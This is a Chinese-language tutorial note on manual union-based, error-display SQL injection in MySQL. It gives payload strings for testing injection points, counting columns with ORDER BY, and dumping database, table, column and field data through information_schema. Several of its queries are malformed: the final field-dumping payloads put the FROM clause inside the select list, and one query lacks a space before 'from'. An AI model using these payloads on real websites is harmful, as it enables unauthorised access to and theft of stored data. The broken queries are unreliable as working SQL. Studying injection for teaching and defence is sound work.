sql注入 --显错注入

前提知识

数据库:就是将大量数据把保存起来，通过计算机加工而成的可以高效访问数据库的数据集合
数据库结构:
库：就是一堆表组成的数据集合
表：类似 Excel，由行和列组成的二维表
字段：表中的列称为字段
记录：表中的行称为记录
单元格：行和列相交的地方称为单元格
在数据库里有一个系统库：information_schema
在它里面有个存着所有库名的表：schemata schema_name 库名

在它里面有个存着所有表名的表：tables
表名 table_schema 表属于库 table_name  表名

在它里面还有个存着所有字段名的表：columns
table_schema 表属于库    table_name  表名      column_name 字段名

数据库结构中常用:table_schema库名 table_name表名 column_name字段名优先记忆

数据库中简单查询语句

select * from 表：从表里查询所有内容
where ：有条件的从表中选取数据
and或or  ：条件有点多时候从表中选取数据
order by ：根据指定的结果集/指定的列进行排序
limit 0,1 ：从第一行起显示一条记录
union select ：将多个表拼在一起

sql注入

攻击者通过构造不同的SQL语句来实现对数据库的操作。

任何与数据库产生交互的地方都可能存在sql注入

sql显错注入-联合查询（Mysql数据库）的基本流程及常用语句

sql手注的一般流程
一、判断注入点

如为整数型注入

id=1' 后面加上'单引号,页面出错

id=1 and 1=1

id=1 and 1=2 时页面不同判断存在注入
二、判断字段数

常用order by 判断字段数

order by :ORDER BY 语句用于根据指定的列对结果集进行排序。
如:

id=1 order by 3 页面正常
id=1 order by 4 页面错误

则字段数为3

三、判断回显点

使用联合查询

id =1 and 1=2 union select 1,2,3 前面为假是会查询后面的语句,从而可获得回显点

四、查询相关内容

查询数据库版本
and 1=2 union select 1,version(),3
查询数据库库名

and 1=2 union select 1,database(),3

猜询表名
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'

查询字段名
and 1=2 union select 1,group_concat(column_name),3from information_schema.columns where table_schema=database() and table_name='表名'

查询字段内容
and 1=2 union select 1,字段名 from 表名,3

若为单引号或双引号注入

考虑拼接为正常字符串进行逃逸

如;

id=1' union select 1,字段名 from 表名,3 -- +

后方为--+或-- a 或# 在很多数据库中杠杠加为注释符，在mysql中#为注释符，推荐常用--+